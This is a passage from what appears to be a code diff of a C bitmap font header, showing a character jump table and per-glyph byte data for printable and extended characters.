0x0B, 0x07, // 118:1056 + 0x04, 0x2B, 0x0D, 0x07, // 119:1067 + 0x04, 0x38, 0x0C, 0x07, // 120:1080 + 0x04, 0x44, 0x0B, 0x07, // 121:1092 + 0x04, 0x4F, 0x0C, 0x07, // 122:1103 + 0x04, 0x5B, 0x0C, 0x07, // 123:1115 + 0x04, 0x67, 0x08, 0x07, // 124:1127 + 0x04, 0x6F, 0x0B, 0x07, // 125:1135 + 0x04, 0x7A, 0x0E, 0x07, // 126:1146 + 0x04, 0x88, 0x0E, 0x07, // 127:1160 + 0x04, 0x96, 0x0E, 0x07, // 128:1174 + 0x04, 0xA4, 0x0E, 0x07, // 129:1188 + 0x04, 0xB2, 0x0E, 0x07, // 130:1202 + 0x04, 0xC0, 0x0E, 0x07, // 131:1216 + 0x04, 0xCE, 0x0E, 0x07, // 132:1230 + 0x04, 0xDC, 0x0E, 0x07, // 133:1244 + 0x04, 0xEA, 0x0E, 0x07, // 134:1258 + 0x04, 0xF8, 0x0E, 0x07, // 135:1272 + 0x05, 0x06, 0x0E, 0x07, // 136:1286 + 0x05, 0x14, 0x0E, 0x07, // 137:1300 + 0x05, 0x22, 0x0E, 0x07, // 138:1314 + 0x05, 0x30, 0x0E, 0x07, // 139:1328 + 0x05, 0x3E, 0x0E, 0x07, // 140:1342 + 0x05, 0x4C, 0x0E, 0x07, // 141:1356 + 0x05, 0x5A, 0x0E, 0x07, // 142:1370 + 0x05, 0x68, 0x0E, 0x07, // 143:1384 + 0x05, 0x76, 0x0E, 0x07, // 144:1398 + 0x05, 0x84, 0x0E, 0x07, // 145:1412 + 0x05, 0x92, 0x0E, 0x07, // 146:1426 + 0x05, 0xA0, 0x0E, 0x07, // 147:1440 + 0x05, 0xAE, 0x0E, 0x07, // 148:1454 + 0x05, 0xBC, 0x0E, 0x07, // 149:1468 + 0x05, 0xCA, 0x0E, 0x07, // 150:1482 + 0x05, 0xD8, 0x0E, 0x07, // 151:1496 + 0x05, 0xE6, 0x0E, 0x07, // 152:1510 + 0x05, 0xF4, 0x0E, 0x07, // 153:1524 + 0x06, 0x02, 0x0E, 0x07, // 154:1538 + 0x06, 0x10, 0x0E, 0x07, // 155:1552 + 0x06, 0x1E, 0x0E, 0x07, // 156:1566 + 0x06, 0x2C, 0x0E, 0x07, // 157:1580 + 0x06, 0x3A, 0x0E, 0x07, // 158:1594 + 0x06, 0x48, 0x0E, 0x07, // 159:1608 + 0xFF, 0xFF, 0x00, 0x07, // 160:65535 + 0x06, 0x56, 0x08, 0x07, // 161:1622 + 0x06, 0x5E, 0x0C, 0x07, // 162:1630 + 0x06, 0x6A, 0x0C, 0x07, // 163:1642 + 0x06, 0x76, 0x0E, 0x07, // 164:1654 + 0x06, 0x84, 0x0D, 0x07, // 165:1668 + 0x06, 0x91, 0x08, 0x07, // 166:1681 + 0x06, 0x99, 0x0C, 0x07, // 167:1689 + 0x06, 0xA5, 0x09, 0x07, // 168:1701 + 0x06, 0xAE, 0x0E, 0x07, // 169:1710 + 0x06, 0xBC, 0x0A, 0x07, // 170:1724 + 0x06, 0xC6, 0x0E, 0x07, // 171:1734 + 0x06, 0xD4, 0x0E, 0x07, // 172:1748 + 0x06, 0xE2, 0x0A, 0x07, // 173:1762 + 0x06, 0xEC, 0x0E, 0x07, // 174:1772 + 0x06, 0xFA, 0x0B, 0x07, // 175:1786 + 0x07, 0x05, 0x0B, 0x07, // 176:1797 + 0x07, 0x10, 0x0E, 0x07, // 177:1808 + 0x07, 0x1E, 0x09, 0x07, // 178:1822 + 0x07, 0x27, 0x0B, 0x07, // 179:1831 + 0x07, 0x32, 0x09, 0x07, // 180:1842 + 0x07, 0x3B, 0x0E, 0x07, // 181:1851 + 0x07, 0x49, 0x0E, 0x07, // 182:1865 + 0x07, 0x57, 0x08, 0x07, // 183:1879 + 0x07, 0x5F, 0x0A, 0x07, // 184:1887 + 0x07, 0x69, 0x09, 0x07, // 185:1897 + 0x07, 0x72, 0x0A, 0x07, // 186:1906 + 0x07, 0x7C, 0x0E, 0x07, // 187:1916 + 0x07, 0x8A, 0x0E, 0x07, // 188:1930 + 0x07, 0x98, 0x0C, 0x07, // 189:1944 + 0x07, 0xA4, 0x0E, 0x07, // 190:1956 + 0x07, 0xB2, 0x0A, 0x07, // 191:1970 + 0x07, 0xBC, 0x0E, 0x07, // 192:1980 + 0x07, 0xCA, 0x0E, 0x07, // 193:1994 + 0x07, 0xD8, 0x0E, 0x07, // 194:2008 + 0x07, 0xE6, 0x0E, 0x07, // 195:2022 + 0x07, 0xF4, 0x0E, 0x07, // 196:2036 + 0x08, 0x02, 0x0E, 0x07, // 197:2050 + 0x08, 0x10, 0x0E, 0x07, // 198:2064 + 0x08, 0x1E, 0x0E, 0x07, // 199:2078 + 0x08, 0x2C, 0x0E, 0x07, // 200:2092 + 0x08, 0x3A, 0x0E, 0x07, // 201:2106 + 0x08, 0x48, 0x0E, 0x07, // 202:2120 + 0x08, 0x56, 0x0E, 0x07, // 203:2134 + 0x08, 0x64, 0x0C, 0x07, // 204:2148 + 0x08, 0x70, 0x0C, 0x07, // 205:2160 + 0x08, 0x7C, 0x0C, 0x07, // 206:2172 + 0x08, 0x88, 0x0C, 0x07, // 207:2184 + 0x08, 0x94, 0x0E, 0x07, // 208:2196 + 0x08, 0xA2, 0x0E, 0x07, // 209:2210 + 0x08, 0xB0, 0x0E, 0x07, // 210:2224 + 0x08, 0xBE, 0x0E, 0x07, // 211:2238 + 0x08, 0xCC, 0x0E, 0x07, // 212:2252 + 0x08, 0xDA, 0x0E, 0x07, // 213:2266 + 0x08, 0xE8, 0x0E, 0x07, // 214:2280 + 0x08, 0xF6, 0x0C, 0x07, // 215:2294 + 0x09, 0x02, 0x0E, 0x07, // 216:2306 + 0x09, 0x10, 0x0E, 0x07, // 217:2320 + 0x09, 0x1E, 0x0E, 0x07, // 218:2334 + 0x09, 0x2C, 0x0E, 0x07, // 219:2348 + 0x09, 0x3A, 0x0E, 0x07, // 220:2362 + 0x09, 0x48, 0x0D, 0x07, // 221:2376 + 0x09, 0x55, 0x0D, 0x07, // 222:2389 + 0x09, 0x62, 0x0C, 0x07, // 223:2402 + 0x09, 0x6E, 0x0C, 0x07, // 224:2414 + 0x09, 0x7A, 0x0C, 0x07, // 225:2426 + 0x09, 0x86, 0x0C, 0x07, // 226:2438 + 0x09, 0x92, 0x0C, 0x07, // 227:2450 + 0x09, 0x9E, 0x0C, 0x07, // 228:2462 + 0x09, 0xAA, 0x0C, 0x07, // 229:2474 + 0x09, 0xB6, 0x0C, 0x07, // 230:2486 + 0x09, 0xC2, 0x0C, 0x07, // 231:2498 + 0x09, 0xCE, 0x0C, 0x07, // 232:2510 + 0x09, 0xDA, 0x0C, 0x07, // 233:2522 + 0x09, 0xE6, 0x0C, 0x07, // 234:2534 + 0x09, 0xF2, 0x0C, 0x07, // 235:2546 + 0x09, 0xFE, 0x0C, 0x07, // 236:2558 + 0x0A, 0x0A, 0x0C, 0x07, // 237:2570 + 0x0A, 0x16, 0x0C, 0x07, // 238:2582 + 0x0A, 0x22, 0x0C, 0x07, // 239:2594 + 0x0A, 0x2E, 0x0C, 0x07, // 240:2606 + 0x0A, 0x3A, 0x0C, 0x07, // 241:2618 + 0x0A, 0x46, 0x0C, 0x07, // 242:2630 + 0x0A, 0x52, 0x0C, 0x07, // 243:2642 + 0x0A, 0x5E, 0x0C, 0x07, // 244:2654 + 0x0A, 0x6A, 0x0C, 0x07, // 245:2666 + 0x0A, 0x76, 0x0C, 0x07, // 246:2678 + 0x0A, 0x82, 0x0C, 0x07, // 247:2690 + 0x0A, 0x8E, 0x0C, 0x07, // 248:2702 + 0x0A, 0x9A, 0x0C, 0x07, // 249:2714 + 0x0A, 0xA6, 0x0C, 0x07, // 250:2726 + 0x0A, 0xB2, 0x0C, 0x07, // 251:2738 + 0x0A, 0xBE, 0x0C, 0x07, // 252:2750 + 0x0A, 0xCA, 0x0B, 0x07, // 253:2762 + 0x0A, 0xD5, 0x0C, 0x07, // 254:2773 + 0x0A, 0xE1, 0x0B, 0x07, // 255:2785 - // Font Data: - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x0D, // 33 - 0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x38, // 34 - 0x00, 0x02, 0x40, 0x0E, 0xE0, 0x03, 0x50, 0x0A, 0xC0, 0x07, 0x70, 0x02, 0x40, // 35 - 0x00, 0x00, 0xE0, 0x04, 0x90, 0x08, 0xF8, 0x3F, 0x10, 0x09, 0x20, 0x07, // 36 - 0x30, 0x00, 0x48, 0x01, 0x48, 0x01, 0xB0, 0x06, 0x80, 0x09, 0x40, 0x09, 0x00, 0x06, // 37 - 0x00, 0x00, 0x00, 0x07, 0xF0, 0x0C, 0xC8, 0x08, 0x08, 0x0B, 0x08, 0x06, 0x00, 0x0B, // 38 - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, // 39 - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x03, 0x1C, 0x1C, 0x04, 0x10, // 40 - 0x00, 0x00, 0x00, 0x00, 0x04, 0x10, 0x1C, 0x1C, 0xE0, 0x03, // 41 - 0x00, 0x00, 0x90, 0x00, 0x60, 0x00, 0xF8, 0x01, 0x60, 0x00, 0x90, // 42 - 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0xE0, 0x0F, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 43 - 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x0C, // 44 - 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 45 - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, // 46 - 0x00, 0x00, 0x00, 0x10, 0x00, 0x0C, 0x00, 0x03, 0xC0, 0x00, 0x30, 0x00, 0x08, // 47 - 0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x88, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 48 - 0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x0F, 0x00, 0x08, 0x00, 0x08, // 49 - 0x00, 0x00, 0x10, 0x08, 0x08, 0x0C, 0x08, 0x0A, 0x08, 0x09, 0x88, 0x08, 0x70, 0x08, // 50 - 0x00, 0x00, 0x10, 0x04, 0x08, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 51 - 0x00, 0x00, 0x00, 0x03, 0xC0, 0x02, 0x60, 0x02, 0x18, 0x02, 0xF8, 0x0F, 0x00, 0x02, // 52 - 0x00, 0x00, 0x78, 0x04, 0x48, 0x08, 0x48, 0x08, 0x48, 0x08, 0xC8, 0x0C, 0x80, 0x07, // 53 - 0x00, 0x00, 0xE0, 0x03, 0x90, 0x0C, 0x48, 0x08, 0x48, 0x08, 0xC8, 0x0C, 0x90, 0x07, // 54 - 0x00, 0x00, 0x08, 0x00, 0x08, 0x08, 0x08, 0x06, 0x88, 0x01, 0x78, 0x00, 0x18, // 55 - 0x00, 0x00, 0x70, 0x07, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 56 - 0x00, 0x00, 0xF0, 0x04, 0x18, 0x09, 0x08, 0x09, 0x08, 0x09, 0x98, 0x04, 0xE0, 0x03, // 57 - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x0C, // 58 - 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xC0, 0x0C, // 59 - 0x00, 0x00, 0x80, 0x01, 0x80, 0x01, 0x40, 0x02, 0x40, 0x02, 0x40, 0x02, 0x20, 0x04, // 60 - 0x00, 0x00, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, // 61 - 0x00, 0x00, 0x20, 0x04, 0x40, 0x02, 0x40, 0x02, 0x40, 0x02, 0x80, 0x01, 0x80, 0x01, // 62 - 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x88, 0x0D, 0xC8, 0x00, 0x48, 0x00, 0x30, // 63 - 0x00, 0x00, 0xC0, 0x0F, 0x20, 0x18, 0x10, 0x23, 0x90, 0x24, 0xB0, 0x24, 0xE0, 0x07, // 64 - 0x00, 0x00, 0x00, 0x0C, 0xC0, 0x03, 0x38, 0x02, 0x38, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 65 - 0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 66 - 0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x10, 0x04, // 67 - 0x00, 0x00, 0xF8, 0x0F, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x10, 0x04, 0xE0, 0x03, // 68 - 0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, // 69 - 0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, // 70 - 0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x08, 0x08, 0x08, 0x88, 0x08, 0x90, 0x07, // 71 - 0x00, 0x00, 0xF8, 0x0F, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0xF8, 0x0F, // 72 - 0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x0F, 0x08, 0x08, 0x08, 0x08, // 73 - 0x00, 0x00, 0x00, 0x04, 0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x07, // 74 - 0x00, 0x00, 0xF8, 0x0F, 0x80, 0x00, 0xC0, 0x00, 0x20, 0x03, 0x10, 0x06, 0x08, 0x08, // 75 - 0x00, 0x00, 0xF8, 0x0F, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, // 76 - 0x00, 0x00, 0xF8, 0x0F, 0x30, 0x00, 0xC0, 0x01, 0xC0, 0x01, 0x30, 0x00, 0xF8, 0x0F, // 77 - 0x00, 0x00, 0xF8, 0x0F, 0x18, 0x00, 0xE0, 0x00, 0x80, 0x03, 0x00, 0x0C, 0xF8, 0x0F, // 78 - 0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 79 - 0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x70, // 80 - 0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x18, 0x3C, 0xE0, 0x07, // 81 - 0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x01, 0x70, 0x06, // 82 - 0x00, 0x00, 0x70, 0x04, 0xC8, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x10, 0x07, // 83 - 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0xF8, 0x0F, 0x08, 0x00, 0x08, 0x00, 0x08, // 84 - 0x00, 0x00, 0xF8, 0x07, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xF8, 0x07, // 85 - 0x00, 0x00, 0x18, 0x00, 0xE0, 0x01, 0x00, 0x0E, 0x00, 0x0E, 0xE0, 0x01, 0x18, // 86 - 0xF8, 0x01, 0x00, 0x0E, 0xC0, 0x03, 0x30, 0x00, 0xC0, 0x03, 0x00, 0x0E, 0xF8, 0x01, // 87 - 0x00, 0x00, 0x08, 0x08, 0x30, 0x06, 0xC0, 0x01, 0xC0, 0x01, 0x30, 0x06, 0x08, 0x08, // 88 - 0x08, 0x00, 0x10, 0x00, 0x60, 0x00, 0x80, 0x0F, 0x60, 0x00, 0x10, 0x00, 0x08, // 89 - 0x00, 0x00, 0x08, 0x0C, 0x08, 0x0E, 0x88, 0x09, 0xC8, 0x08, 0x38, 0x08, 0x18, 0x08, // 90 - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFC, 0x1F, 0x04, 0x10, // 91 - 0x00, 0x00, 0x08, 0x00, 0x30, 0x00, 0xC0, 0x00, 0x00, 0x03, 0x00, 0x0C, 0x00, 0x10, // 92 - 0x00, 0x00, 0x00, 0x00, 0x04, 0x10, 0xFC, 0x1F, // 93 - 0x20, 0x00, 0x10, 0x00, 0x08, 0x00, 0x08, 0x00, 0x10, 0x00, 0x20, // 94 - 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, // 95 - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x08, // 96 - 0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x20, 0x09, 0x20, 0x09, 0xC0, 0x0F, // 97 - 0x00, 0x00, 0xFC, 0x0F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 98 - 0x00, 0x00, 0xC0, 0x07, 0x60, 0x0C, 0x20, 0x08, 0x20, 0x08, 0x40, 0x08, // 99 - 0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xFC, 0x0F, // 100 - 0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x20, 0x09, 0x20, 0x09, 0xC0, 0x05, // 101 - 0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0xF8, 0x0F, 0x24, 0x00, 0x24, // 102 - 0x00, 0x00, 0xC0, 0x07, 0x20, 0x28, 0x20, 0x48, 0x20, 0x48, 0xE0, 0x3F, // 103 - 0x00, 0x00, 0xFC, 0x0F, 0x40, 0x00, 0x20, 0x00, 0x20, 0x00, 0xC0, 0x0F, // 104 - 0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE4, 0x0F, 0x00, 0x08, 0x00, 0x08, // 105 - 0x00, 0x00, 0x00, 0x00, 0x20, 0x40, 0x20, 0x40, 0xE4, 0x3F, // 106 - 0x00, 0x00, 0xFC, 0x0F, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, 0x20, 0x08, // 107 - 0x00, 0x00, 0x04, 0x00, 0x04, 0x00, 0xFC, 0x07, 0x00, 0x08, 0x00, 0x08, // 108 - 0x00, 0x00, 0xE0, 0x0F, 0x20, 0x00, 0xE0, 0x0F, 0x20, 0x00, 0xE0, 0x0F, // 109 - 0x00, 0x00, 0xE0, 0x0F, 0x40, 0x00, 0x20, 0x00, 0x20, 0x00, 0xC0, 0x0F, // 110 - 0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 111 - 0x00, 0x00, 0xE0, 0x7F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 112 - 0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xE0, 0x7F, // 113 - 0x00, 0x00, 0x00, 0x00, 0xE0, 0x0F, 0x60, 0x00, 0x20, 0x00, 0x20, 0x00, 0x40, // 114 - 0x00, 0x00, 0xC0, 0x04, 0x20, 0x09, 0x20, 0x09, 0x20, 0x09, 0x40, 0x06, // 115 - 0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0xF8, 0x0F, 0x20, 0x08, 0x20, 0x08, // 116 - 0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xE0, 0x0F, // 117 - 0x00, 0x00, 0x60, 0x00, 0x80, 0x03, 0x00, 0x0C, 0x80, 0x03, 0x60, // 118 - 0x60, 0x00, 0x80, 0x03, 0x00, 0x0E, 0x80, 0x01, 0x00, 0x0E, 0x80, 0x03, 0x60, // 119 - 0x00, 0x00, 0x20, 0x08, 0xC0, 0x06, 0x00, 0x01, 0xC0, 0x06, 0x20, 0x08, // 120 - 0x00, 0x00, 0x60, 0x40, 0x80, 0x67, 0x00, 0x1C, 0x80, 0x03, 0x60, // 121 - 0x00, 0x00, 0x20, 0x0C, 0x20, 0x0A, 0x20, 0x09, 0xA0, 0x08, 0x60, 0x08, // 122 - 0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x7C, 0x1F, 0x04, 0x10, 0x04, 0x10, // 123 - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFC, 0x3F, // 124 - 0x00, 0x00, 0x04, 0x10, 0x04, 0x10, 0x7C, 0x1F, 0x80, 0x00, 0x80, // 125 - 0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 126 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 127 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 128 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 129 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 130 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 131 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 132 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 133 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 134 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 135 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 136 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 137 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 138 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 139 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 140 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 141 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 142 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 143 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 144 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 145 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 146 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 147 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 148 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 149 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 150 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 151 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 152 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 153 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 154 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 155 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 156 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 157 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 158 - 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 159 - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x3F, // 161 - 0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0xF8, 0x3F, 0x20, 0x08, 0x40, 0x04, // 162 - 0x00, 0x00, 0x80, 0x08, 0xF0, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x08, 0x08, // 163 - 0x00, 0x00, 0x20, 0x04, 0xC0, 0x03, 0x40, 0x02, 0x40, 0x02, 0xC0, 0x03, 0x20, 0x04, // 164 - 0x08, 0x00, 0x50, 0x01, 0x60, 0x01, 0x80, 0x0F, 0x60, 0x01, 0x50, 0x01, 0x08, // 165 - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x3C, // 166 - 0x00, 0x00, 0xF0, 0x11, 0x28, 0x13, 0x48, 0x12, 0xC8, 0x14, 0x88, 0x0F, // 167 - 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08, // 168 - 0xC0, 0x01, 0x20, 0x02, 0xD0, 0x05, 0x50, 0x05, 0x50, 0x05, 0x20, 0x02, 0xC0, 0x01, // 169 - 0x00, 0x00, 0xE8, 0x02, 0xA8, 0x02, 0xA8, 0x02, 0xF0, 0x02, // 170 - 0x00, 0x00, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, // 171 - 0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x03, // 172 - 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 173 - 0xC0, 0x01, 0x20, 0x02, 0xD0, 0x05, 0xD0, 0x05, 0xD0, 0x05, 0x20, 0x02, 0xC0, 0x01, // 174 - 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, // 175 - 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x48, 0x00, 0x48, 0x00, 0x30, // 176 - 0x80, 0x08, 0x80, 0x08, 0x80, 0x08, 0xE0, 0x0B, 0x80, 0x08, 0x80, 0x08, 0x80, 0x08, // 177 - 0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xE8, 0x00, 0xB8, // 178 - 0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xA8, 0x00, 0xA8, 0x00, 0xD8, // 179 - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x04, // 180 - 0x00, 0x00, 0xE0, 0x7F, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xE0, 0x0F, 0x00, 0x08, // 181 - 0x00, 0x00, 0x70, 0x00, 0xF8, 0x00, 0xF8, 0x00, 0xF8, 0x1F, 0x08, 0x00, 0xF8, 0x1F, // 182 - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x01, // 183 - 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0x30, // 184 - 0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 0xF8, 0x00, 0x80, // 185 - 0x00, 0x00, 0x70, 0x02, 0x88, 0x02, 0x88, 0x02, 0x70, 0x02, // 186 - 0x00, 0x00, 0x40, 0x04, 0x80, 0x02, 0x00, 0x01, 0x40, 0x04, 0x80, 0x02, 0x00, 0x01, // 187 - 0x44, 0x02, 0x7C, 0x03, 0x40, 0x01, 0x00, 0x0D, 0x80, 0x0B, 0x80, 0x1F, 0x00, 0x08, // 188 - 0x44, 0x02, 0x7C, 0x03, 